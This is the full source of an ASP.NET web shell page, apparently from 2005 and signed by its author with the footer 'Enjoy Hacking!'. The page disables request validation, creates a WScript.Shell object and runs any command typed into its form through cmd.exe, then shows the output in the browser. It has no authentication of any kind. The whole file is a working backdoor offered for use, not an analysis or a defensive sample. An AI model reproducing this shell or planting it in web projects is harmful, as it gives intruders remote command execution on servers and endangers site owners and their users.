<!-- Titel: WScript.Shell .NET Version 1 Author: lake2 Mail: lake2@mail.csdn.net Site: http://lake2.0x54.org Thanks: Internet Date: 2005-8-20 --> <%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %> <script runat="server"> sub runcmd(Src As Object, E As EventArgs) Dim StrResult As String Dim CMDShell As Object CMDShell = Server.CreateObject("WScript.Shell") StrResult = CMDShell.eXec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall StrResult = Replace(StrResult , "<","<") StrResult = Replace(StrResult , ">",">") ResultLabel.Text = "<pre>" & StrResult & "</pre>" end sub </script> <html> <head><title>WSH.SHell For ASP.NET By lake2</title></head> <body> <form runat="server"> "cmd.exe"'s path: <asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" /> <br> Your Command: <asp:TextBox ID="CMDBox" Width="200" runat="server" /> <asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" /> <br> <asp:Label ID="ResultLabel" runat="server" /> </form> <div align="center">----------- <font color="#0000FF">Enjoy Hacking!</font> ----------- </div> <hr width="50%"> </body> </html> |